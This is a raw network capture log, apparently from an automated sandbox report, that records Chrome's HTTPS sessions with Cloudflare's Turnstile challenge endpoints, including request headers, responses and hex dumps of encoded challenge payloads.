2024-08-23 14:21:41 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8b7bc004eb3a7c8d/1724422899198/3b740ba5a6e481ffff0c374824e1290e0926f7873444175f19b942168e98c5f5/owvsfoOHmUXYzHq HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:41 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 23 Aug 2024 14:21:41 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-08-23 14:21:41 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 4f 33 51 4c 70 61 62 6b 67 66 5f 5f 44 44 64 49 4a 4f 45 70 44 67 6b 6d 39 34 63 30 52 42 64 66 47 62 6c 43 46 6f 36 59 78 66 55 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gO3QLpabkgf__DDdIJOEpDgkm94c0RBdfGblCFo6YxfUAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-08-23 14:21:41 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49766	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:41 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8b7bc004eb3a7c8d/1724422899198/k6wQePlMUzTyxyC HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:41 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:41 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8b7bc01d1fef17c1-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:41 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 23 08 02 00 00 00 8c c5 1a 95 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRP#IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49769	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:42 UTC	926	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/156047045:1724419407:L14tzDEDOBSKZ0TNeCHO3Q3o5larWtN6C36-ljdYwrk/8b7bc004eb3a7c8d/84b778c4aabe3e2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31772 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 84b778c4aabe3e2 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:42 UTC	16384	OUT	Data Raw: 76 5f 38 62 37 62 63 30 30 34 65 62 33 61 37 63 38 64 3d 7a 78 6f 76 41 73 51 57 70 34 4d 44 78 2d 58 64 79 64 79 44 6f 64 5a 64 50 64 4c 64 49 37 59 36 64 69 64 6b 4f 2d 4d 51 54 64 53 4f 6a 63 78 37 64 46 6a 64 6a 4f 64 6e 64 6b 59 4c 38 64 4b 4f 6b 36 64 56 70 71 64 58 77 64 62 71 6f 51 6d 6c 31 51 72 73 64 38 76 6a 6a 44 30 59 62 72 64 51 34 53 4e 76 72 30 64 44 37 51 32 65 64 51 71 37 64 56 6a 71 6f 64 7a 38 76 6d 4b 37 37 64 51 4a 76 51 52 6a 6a 41 74 32 4d 53 64 51 6c 72 53 6e 68 53 6e 55 64 4a 30 56 6d 74 77 76 57 6a 64 6a 75 32 30 36 72 78 43 4f 76 6f 6a 55 64 72 79 30 6a 4e 62 4f 76 64 34 64 6f 4d 4f 35 6b 4d 64 6e 76 51 50 31 37 53 6e 30 58 4f 31 25 32 62 49 43 63 67 37 55 6e 7a 59 58 55 55 57 50 31 35 53 74 49 7a 49 79 65 72 6c 33 58 66 35 6f Data Ascii: v_8b7bc004eb3a7c8d=zxovAsQWp4MDx-XdydyDodZdPdLdI7Y6didkO-MQTdSOjcx7dFjdjOdndkYL8dKOk6dVpqdXwdbqoQml1Qrsd8vjjD0YbrdQ4SNvr0dD7Q2edQq7dVjqodz8vmK77dQJvQRjjAt2MSdQlrSnhSnUdJ0VmtwvWjdju206rxCOvojUdry0jNbOvd4doMO5kMdnvQP17Sn0XO1%2bICcg7UnzYXUUWP15StIzIyerl3Xf5o
2024-08-23 14:21:42 UTC	15388	OUT	Data Raw: 45 77 46 73 76 73 4f 51 6a 64 5a 64 38 64 7a 6a 72 72 72 31 6a 73 64 59 64 69 4f 73 70 51 5a 64 38 4d 64 64 51 5a 62 43 64 78 64 67 64 66 76 2d 58 69 69 64 73 37 59 43 51 63 64 51 37 59 58 51 55 64 44 64 51 4f 64 57 64 6c 37 2d 63 64 41 64 53 6e 64 42 64 31 76 7a 6f 72 4f 51 64 58 59 37 59 51 58 44 64 39 37 72 47 51 32 78 34 4d 6b 74 51 38 63 2d 79 4a 71 64 6a 64 64 4f 51 78 64 71 2b 6f 54 76 63 64 6e 64 66 42 73 53 76 35 64 65 63 6b 51 64 4f 64 6f 50 64 37 64 69 76 6c 4f 59 4a 51 6f 37 72 59 2d 52 64 6e 64 30 6a 51 70 64 57 76 66 42 6a 58 64 48 64 51 30 4b 72 64 43 6a 37 45 47 38 76 42 64 46 6f 2d 52 51 2d 64 6f 50 59 4d 64 58 6e 69 4f 6a 62 51 37 76 6f 50 72 6f 51 6f 37 65 63 6b 4b 64 73 64 57 45 73 6d 42 37 77 6f 50 6b 50 43 4a 4d 53 64 73 6f 64 32 4c Data Ascii: EwFsvsOQjdZd8dzjrrr1jsdYdiOspQZd8MddQZbCdxdgdfv-Xiids7YCQcdQ7YXQUdDdQOdWdl7-cdAdSndBd1vzorOQdXY7YQXDd97rGQ2x4MktQ8c-yJqdjddOQxdq+oTvcdndfBsSv5deckQdOdoPd7divlOYJQo7rY-Rdnd0jQpdWvfBjXdHdQ0KrdCj7EG8vBdFo-RQ-doPYMdXniOjbQ7voProQo7eckKdsdWEsmB7woPkPCJMSdsod2L
2024-08-23 14:21:42 UTC	330	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:42 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26272 Connection: close cf-chl-gen: 1Xjk6niSFXsxulI7TefgHogtsSz9v3aEy6uT1u1Tqtojso5kzz3AwsmmA4sEoY8B9B+zia13tP8a37Ru$wocQXQ9jTbVLJ5wa Server: cloudflare CF-RAY: 8b7bc025d8430c84-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:42 UTC	1039	IN	Data Raw: 6a 4c 43 65 73 6f 65 38 71 73 43 30 71 36 4c 4b 73 4d 61 61 6e 64 44 47 79 73 4b 4f 30 37 6a 47 6b 74 62 4b 73 5a 6e 61 6e 70 6a 68 35 4b 2b 30 6e 64 2f 4a 32 72 50 71 75 62 36 36 79 64 72 67 75 38 4f 77 78 75 6d 7a 74 74 54 71 7a 50 33 61 38 4f 44 57 38 4c 6d 2b 77 4f 48 2b 38 4e 63 4c 41 76 62 75 2f 4d 58 66 7a 4f 30 4c 35 67 6f 47 45 77 50 6d 43 63 33 57 32 50 77 57 33 52 6f 61 48 51 33 33 34 41 67 41 35 64 7a 31 49 77 41 4c 48 75 30 49 41 79 55 47 45 41 30 6e 43 51 38 70 2b 2f 62 34 47 6a 41 68 47 2f 67 35 41 77 59 31 2b 54 34 46 4a 7a 34 74 43 79 6f 38 4a 6c 49 6b 54 78 4e 46 4e 53 6c 46 57 44 52 4a 4b 68 63 37 4e 45 78 55 48 78 59 76 50 47 4d 32 59 56 4a 55 59 57 55 38 58 57 51 74 53 46 4a 6f 53 45 64 50 56 6d 5a 53 57 54 5a 4e 53 31 41 35 63 33 69 Data Ascii: jLCesoe8qsC0q6LKsMaandDGysKO07jGktbKsZnanpjh5K+0nd/J2rPqub66ydrgu8OwxumzttTqzP3a8ODW8Lm+wOH+8NcLAvbu/MXfzO0L5goGEwPmCc3W2PwW3RoaHQ334AgA5dz1IwALHu0IAyUGEA0nCQ8p+/b4GjAhG/g5AwY1+T4FJz4tCyo8JlIkTxNFNSlFWDRJKhc7NExUHxYvPGM2YVJUYWU8XWQtSFJoSEdPVmZSWTZNS1A5c3i
2024-08-23 14:21:42 UTC	1369	IN	Data Raw: 70 76 4b 69 51 30 64 44 54 72 38 69 58 31 4a 72 55 6d 64 79 7a 31 71 47 35 34 4a 65 6a 30 37 6e 6f 33 36 69 38 70 2b 50 73 72 73 58 7a 35 4f 2b 74 36 38 79 77 34 2b 66 6b 78 50 44 36 79 4f 2f 4a 75 66 54 43 30 4e 4c 36 32 65 62 56 32 4e 33 63 36 74 73 4d 35 4f 2f 66 7a 50 50 7a 33 78 6a 69 38 2b 66 55 38 76 6a 72 32 41 44 5a 41 65 51 62 45 78 4d 4a 35 51 45 71 4c 65 67 72 49 6a 41 48 44 53 55 42 4e 78 67 31 47 44 63 77 4a 41 72 38 45 44 41 55 4c 50 77 32 4d 52 4d 54 48 6a 73 33 52 54 38 57 42 67 6c 46 4f 68 35 50 4b 6b 5a 49 45 79 6b 59 49 6a 63 70 44 78 30 36 4d 44 31 4e 53 7a 52 42 50 46 56 6d 4d 55 45 32 49 6d 63 2b 57 44 42 64 4d 69 73 79 4a 33 4a 77 57 58 42 54 5a 33 78 6d 58 31 52 67 50 31 4e 4c 56 55 4e 39 56 6b 4a 45 67 55 5a 39 53 6f 56 76 62 55 Data Ascii: pvKiQ0dDTr8iX1JrUmdyz1qG54Jej07no36i8p+PsrsXz5O+t68yw4+fkxPD6yO/JufTC0NL62ebV2N3c6tsM5O/fzPPz3xji8+fU8vjr2ADZAeQbExMJ5QEqLegrIjAHDSUBNxg1GDcwJAr8EDAULPw2MRMTHjs3RT8WBglFOh5PKkZIEykYIjcpDx06MD1NSzRBPFVmMUE2Imc+WDBdMisyJ3JwWXBTZ3xmX1RgP1NLVUN9VkJEgUZ9SoVvbU
2024-08-23 14:21:42 UTC	1369	IN	Data Raw: 71 4e 58 4b 74 36 69 50 72 4a 75 66 6b 39 72 42 34 35 76 53 74 65 48 6f 74 38 62 6d 77 4f 71 33 30 63 54 6c 7a 39 33 49 77 2f 48 68 7a 4d 61 36 35 64 44 4c 30 2b 6e 55 7a 75 4c 65 35 4e 59 42 31 73 51 43 35 63 6b 43 32 75 67 4c 43 4d 6a 73 36 51 76 78 37 75 51 51 45 76 44 32 44 51 6f 4e 39 39 7a 30 44 4e 38 4f 48 67 6b 6c 46 69 59 6e 4c 52 6f 6b 47 41 73 78 4c 52 37 6d 4e 69 51 5a 4a 51 4c 34 4b 50 6f 72 4d 77 34 7a 47 52 38 38 45 6b 48 2b 4f 54 30 69 48 6b 49 2f 42 41 6c 45 52 55 49 4a 52 45 70 46 45 55 74 57 52 78 46 4d 55 6c 67 56 47 6c 42 61 49 6a 31 43 47 45 55 6c 57 43 4e 6a 4a 6b 74 69 4f 54 42 5a 4b 55 68 47 52 58 56 4e 53 6c 46 32 63 6d 74 7a 58 6b 74 4b 55 55 78 75 55 44 63 2b 65 58 2b 42 55 33 39 61 66 32 56 72 69 46 36 4b 53 34 57 4a 62 34 69 Data Ascii: qNXKt6iPrJufk9rB45vSteHot8bmwOq30cTlz93Iw/HhzMa65dDL0+nUzuLe5NYB1sQC5ckC2ugLCMjs6Qvx7uQQEvD2DQoN99z0DN8OHgklFiYnLRokGAsxLR7mNiQZJQL4KPorMw4zGR88EkH+OT0iHkI/BAlERUIJREpFEUtWRxFMUlgVGlBaIj1CGEUlWCNjJktiOTBZKUhGRXVNSlF2cmtzXktKUUxuUDc+eX+BU39af2VriF6KS4WJb4i
2024-08-23 14:21:42 UTC	1369	IN	Data Raw: 74 2b 70 6e 61 2b 36 73 36 54 6b 76 2b 53 67 70 37 76 65 77 39 33 64 76 4e 2f 46 38 62 7a 4e 30 72 43 75 73 66 61 78 30 38 61 77 30 63 72 68 30 76 54 35 2b 38 58 37 41 75 72 37 2f 65 45 49 37 38 30 41 43 63 77 51 43 68 4c 74 34 42 6f 46 47 65 54 57 37 4e 72 7a 49 68 41 6b 34 4e 59 53 34 2f 63 42 41 42 6b 73 42 51 66 36 48 65 73 4c 4d 2f 77 31 4c 67 6b 69 4f 6a 6b 4e 44 68 67 4a 46 2f 30 70 4d 79 4d 39 44 68 77 39 47 52 4d 5a 4f 68 70 42 43 54 77 59 53 41 35 54 48 79 67 6b 4a 6b 73 69 45 78 56 52 52 6a 30 57 58 46 70 53 48 6a 59 78 4c 6b 51 37 4a 43 64 73 5a 52 38 6b 63 47 70 41 50 58 4a 49 4c 30 5a 31 63 6c 42 4b 4d 6e 4a 2b 57 49 42 36 4f 30 32 44 57 44 39 53 50 6c 78 67 57 6f 79 47 52 6e 75 4b 55 4a 46 4e 54 6f 70 53 63 49 75 4d 63 6f 53 4d 68 48 74 75 Data Ascii: t+pna+6s6Tkv+Sgp7vew93dvN/F8bzN0rCusfax08aw0crh0vT5+8X7Aur7/eEI780ACcwQChLt4BoFGeTW7NrzIhAk4NYS4/cBABksBQf6HesLM/w1LgkiOjkNDhgJF/0pMyM9Dhw9GRMZOhpBCTwYSA5THygkJksiExVRRj0WXFpSHjYxLkQ7JCdsZR8kcGpAPXJIL0Z1clBKMnJ+WIB6O02DWD9SPlxgWoyGRnuKUJFNTopScIuMcoSMhHtu
2024-08-23 14:21:42 UTC	1369	IN	Data Raw: 50 41 6f 38 47 33 36 75 71 35 77 65 75 38 32 62 33 49 35 63 69 30 7a 4d 50 72 38 74 4c 48 31 4c 7a 58 38 51 44 55 31 39 6e 51 2b 50 6f 42 38 39 62 56 2f 51 51 4f 32 63 2f 71 41 66 45 42 36 39 44 6e 43 73 37 74 32 51 6b 64 46 76 6a 72 41 50 66 37 39 2f 76 74 33 65 62 77 2b 53 55 65 46 53 54 6c 2f 76 73 65 48 66 4d 45 4e 66 45 78 4b 53 6f 4a 45 51 55 30 51 43 6b 4a 51 44 67 31 47 79 4d 31 4b 42 38 55 42 51 51 38 4b 45 64 43 43 46 41 6f 4e 52 41 4e 55 52 59 6a 53 31 55 70 54 44 74 57 55 6b 39 67 4d 55 55 67 5a 31 6c 52 4e 31 70 58 51 6a 35 4f 53 30 4a 73 50 6b 63 2f 50 32 4a 4d 62 6e 56 7a 61 6d 52 35 62 44 74 7a 62 30 46 37 64 6a 36 44 63 59 6c 42 63 6d 4b 4d 52 48 74 74 5a 6f 56 70 53 6f 78 69 6b 55 2b 4a 6a 58 4a 75 6b 6f 39 55 57 5a 53 56 6b 6c 6d 55 6d Data Ascii: PAo8G36uq5weu82b3I5ci0zMPr8tLH1LzX8QDU19nQ+PoB89bV/QQO2c/qAfEB69DnCs7t2QkdFvjrAPf79/vt3ebw+SUeFSTl/vseHfMENfExKSoJEQU0QCkJQDg1GyM1KB8UBQQ8KEdCCFAoNRANURYjS1UpTDtWUk9gMUUgZ1lRN1pXQj5OS0JsPkc/P2JMbnVzamR5bDtzb0F7dj6DcYlBcmKMRHttZoVpSoxikU+JjXJuko9UWZSVklmUm
2024-08-23 14:21:42 UTC	1369	IN	Data Raw: 45 75 63 72 4d 7a 63 36 36 35 74 4f 76 72 4b 2f 4d 77 39 62 44 7a 37 6a 61 74 38 6a 50 79 76 48 62 77 4f 4c 31 30 4e 48 54 34 39 6e 71 77 4e 7a 59 33 65 37 77 36 65 2f 49 33 2b 33 31 34 76 50 74 39 2b 59 4f 38 66 6e 72 38 50 6a 77 37 68 55 59 41 75 44 6a 2b 51 6a 33 44 66 30 50 2b 76 73 48 4a 43 4d 6c 39 52 59 4f 42 51 55 4a 43 50 30 78 48 41 30 36 49 45 52 42 49 51 59 42 48 7a 30 6c 52 43 45 50 47 77 34 71 54 6b 41 72 4d 79 51 32 4b 6a 68 50 4a 69 6b 36 55 69 34 64 4c 78 39 62 4d 6c 45 36 49 46 5a 68 52 6c 64 73 50 30 74 46 5a 6b 63 2b 51 53 31 44 61 44 52 31 54 32 78 56 62 55 39 62 57 58 31 58 63 33 5a 6d 58 6c 70 42 59 6c 39 58 58 33 31 46 65 6e 2b 51 5a 31 39 64 6c 47 74 6a 59 56 4a 55 56 57 35 63 62 4a 4e 2b 59 5a 47 59 67 46 35 6c 66 36 42 70 69 47 Data Ascii: EucrMzc665tOvrK/Mw9bDz7jat8jPyvHbwOL10NHT49nqwNzY3e7w6e/I3+314vPt9+YO8fnr8Pjw7hUYAuDj+Qj3Df0P+vsHJCMl9RYOBQUJCP0xHA06IERBIQYBHz0lRCEPGw4qTkArMyQ2KjhPJik6Ui4dLx9bMlE6IFZhRldsP0tFZkc+QS1DaDR1T2xVbU9bWX1Xc3ZmXlpBYl9XX31Fen+QZ19dlGtjYVJUVW5cbJN+YZGYgF5lf6BpiG
2024-08-23 14:21:42 UTC	1369	IN	Data Raw: 32 2b 48 6f 74 63 33 47 39 72 62 63 2f 4c 62 35 39 2f 33 31 39 39 53 32 37 63 4c 2b 42 66 6f 44 39 2b 49 4a 79 38 58 72 44 64 49 51 36 77 73 4c 46 41 45 53 45 78 51 4f 45 52 63 58 49 64 6f 59 34 4f 34 56 48 53 44 2b 48 43 49 55 46 51 30 6a 42 2f 73 78 38 54 45 4d 37 50 59 68 49 54 58 35 4f 43 6f 38 2b 53 73 4d 4d 7a 72 31 47 77 4d 44 50 77 49 31 51 54 56 4e 4f 55 51 34 50 55 4a 4d 4b 6a 30 4e 54 52 56 4a 55 55 34 5a 56 55 39 61 53 43 74 55 58 45 77 33 56 6c 38 36 59 53 4e 67 4b 54 64 64 5a 57 68 48 5a 47 70 63 58 56 56 72 54 30 52 35 4f 6e 6c 55 4e 54 39 70 61 58 31 43 67 48 4b 45 51 6e 4e 55 65 34 49 2b 59 30 74 4c 68 30 70 39 69 58 78 4f 64 59 32 52 6d 59 57 51 66 59 6d 56 6c 6c 31 7a 6e 46 2b 64 66 35 65 66 65 34 65 59 6f 6e 36 64 6c 6d 71 64 6a 4b 4e Data Ascii: 2+Hotc3G9rbc/Lb59/3199S27cL+BfoD9+IJy8XrDdIQ6wsLFAESExQOERcXIdoY4O4VHSD+HCIUFQ0jB/sx8TEM7PYhITX5OCo8+SsMMzr1GwMDPwI1QTVNOUQ4PUJMKj0NTRVJUU4ZVU9aSCtUXEw3Vl86YSNgKTddZWhHZGpcXVVrT0R5OnlUNT9paX1CgHKEQnNUe4I+Y0tLh0p9iXxOdY2RmYWQfYmVll1znF+df5efe4eYon6dlmqdjKN
2024-08-23 14:21:42 UTC	1369	IN	Data Raw: 66 4b 34 78 74 33 31 30 64 72 7a 2b 65 76 53 39 50 7a 76 31 67 4d 42 37 4c 37 38 42 63 7a 61 2f 67 6e 50 41 51 51 4f 36 52 55 4a 45 51 54 71 45 68 59 59 38 67 38 5a 34 50 34 56 48 2b 54 32 47 69 49 55 39 67 30 6d 41 76 34 6a 4b 52 77 4c 4c 79 30 67 44 79 6b 75 2b 42 4d 75 4e 69 67 58 4e 6a 6b 42 51 54 55 2b 51 43 4d 39 51 6b 51 66 50 30 55 68 50 55 5a 4c 45 53 64 46 54 42 55 76 52 31 46 55 4a 30 39 57 56 31 46 62 57 56 77 33 56 56 73 36 4f 31 6c 69 50 6a 74 4f 59 69 35 78 61 79 70 72 64 54 4e 74 53 6d 46 75 62 30 30 76 62 6e 56 34 61 57 39 35 66 49 46 32 66 56 70 66 65 34 46 65 58 33 2b 46 65 48 6d 47 69 31 46 66 67 34 31 71 61 33 71 51 57 58 4f 4e 6c 56 31 76 6d 35 6d 4d 6a 5a 71 64 6f 48 2b 4a 6f 47 6d 56 6f 61 57 59 72 61 43 70 72 49 2b 57 71 6e 53 70 Data Ascii: fK4xt310drz+evS9Pzv1gMB7L78Bcza/gnPAQQO6RUJEQTqEhYY8g8Z4P4VH+T2GiIU9g0mAv4jKRwLLy0gDyku+BMuNigXNjkBQTU+QCM9QkQfP0UhPUZLESdFTBUvR1FUJ09WV1FbWVw3VVs6O1liPjtOYi5xayprdTNtSmFub00vbnV4aW95fIF2fVpfe4FeX3+FeHmGi1Ffg41qa3qQWXONlV1vm5mMjZqdoH+JoGmVoaWYraCprI+WqnSp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49770	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:43 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/156047045:1724419407:L14tzDEDOBSKZ0TNeCHO3Q3o5larWtN6C36-ljdYwrk/8b7bc004eb3a7c8d/84b778c4aabe3e2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:43 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 23 Aug 2024 14:21:43 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: UePUCGj6gwcqAWZLuS5sog89KOiahcQ3rFU=$fqqBfO5R5+AnLi8O Server: cloudflare CF-RAY: 8b7bc02b1ecb439c-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:43 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49771	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:46 UTC	926	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/156047045:1724419407:L14tzDEDOBSKZ0TNeCHO3Q3o5larWtN6C36-ljdYwrk/8b7bc004eb3a7c8d/84b778c4aabe3e2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34151 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 84b778c4aabe3e2 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:46 UTC	16384	OUT	Data Raw: 76 5f 38 62 37 62 63 30 30 34 65 62 33 61 37 63 38 64 3d 7a 78 6f 76 41 73 51 57 70 34 4d 44 78 2d 58 64 79 64 79 44 6f 64 5a 64 50 64 4c 64 49 37 59 36 64 69 64 6b 4f 2d 4d 51 54 64 53 4f 6a 63 78 37 64 46 6a 64 6a 4f 64 6e 64 6b 59 4c 38 64 4b 4f 6b 36 64 56 70 71 64 58 77 64 62 71 6f 51 6d 6c 31 51 72 73 64 38 76 6a 6a 44 30 59 62 72 64 51 34 53 4e 76 72 30 64 44 37 51 32 65 64 51 71 37 64 56 6a 71 6f 64 7a 38 76 6d 4b 37 37 64 51 4a 76 51 52 6a 6a 41 74 32 4d 53 64 51 6c 72 53 6e 68 53 6e 55 64 4a 30 56 6d 74 77 76 57 6a 64 6a 75 32 30 36 72 78 43 4f 76 6f 6a 55 64 72 79 30 6a 4e 62 4f 76 64 34 64 6f 4d 4f 35 6b 4d 64 6e 76 51 50 31 37 53 6e 30 58 4f 31 25 32 62 49 43 63 67 37 55 6e 7a 59 58 55 55 57 50 31 35 53 74 49 7a 49 79 65 72 6c 33 58 66 35 6f Data Ascii: v_8b7bc004eb3a7c8d=zxovAsQWp4MDx-XdydyDodZdPdLdI7Y6didkO-MQTdSOjcx7dFjdjOdndkYL8dKOk6dVpqdXwdbqoQml1Qrsd8vjjD0YbrdQ4SNvr0dD7Q2edQq7dVjqodz8vmK77dQJvQRjjAt2MSdQlrSnhSnUdJ0VmtwvWjdju206rxCOvojUdry0jNbOvd4doMO5kMdnvQP17Sn0XO1%2bICcg7UnzYXUUWP15StIzIyerl3Xf5o
2024-08-23 14:21:46 UTC	16384	OUT	Data Raw: 45 77 46 73 76 73 4f 51 6a 64 5a 64 38 64 7a 6a 72 72 72 31 6a 73 64 59 64 69 4f 73 70 51 5a 64 38 4d 64 64 51 5a 62 43 64 78 64 67 64 66 76 2d 58 69 69 64 73 37 59 43 51 63 64 51 37 59 58 51 55 64 44 64 51 4f 64 57 64 6c 37 2d 63 64 41 64 53 6e 64 42 64 31 76 7a 6f 72 4f 51 64 58 59 37 59 51 58 44 64 39 37 72 47 51 32 78 34 4d 6b 74 51 38 63 2d 79 4a 71 64 6a 64 64 4f 51 78 64 71 2b 6f 54 76 63 64 6e 64 66 42 73 53 76 35 64 65 63 6b 51 64 4f 64 6f 50 64 37 64 69 76 6c 4f 59 4a 51 6f 37 72 59 2d 52 64 6e 64 30 6a 51 70 64 57 76 66 42 6a 58 64 48 64 51 30 4b 72 64 43 6a 37 45 47 38 76 42 64 46 6f 2d 52 51 2d 64 6f 50 59 4d 64 58 6e 69 4f 6a 62 51 37 76 6f 50 72 6f 51 6f 37 65 63 6b 4b 64 73 64 57 45 73 6d 42 37 77 6f 50 6b 50 43 4a 4d 53 64 73 6f 64 32 4c Data Ascii: EwFsvsOQjdZd8dzjrrr1jsdYdiOspQZd8MddQZbCdxdgdfv-Xiids7YCQcdQ7YXQUdDdQOdWdl7-cdAdSndBd1vzorOQdXY7YQXDd97rGQ2x4MktQ8c-yJqdjddOQxdq+oTvcdndfBsSv5deckQdOdoPd7divlOYJQo7rY-Rdnd0jQpdWvfBjXdHdQ0KrdCj7EG8vBdFo-RQ-doPYMdXniOjbQ7voProQo7eckKdsdWEsmB7woPkPCJMSdsod2L
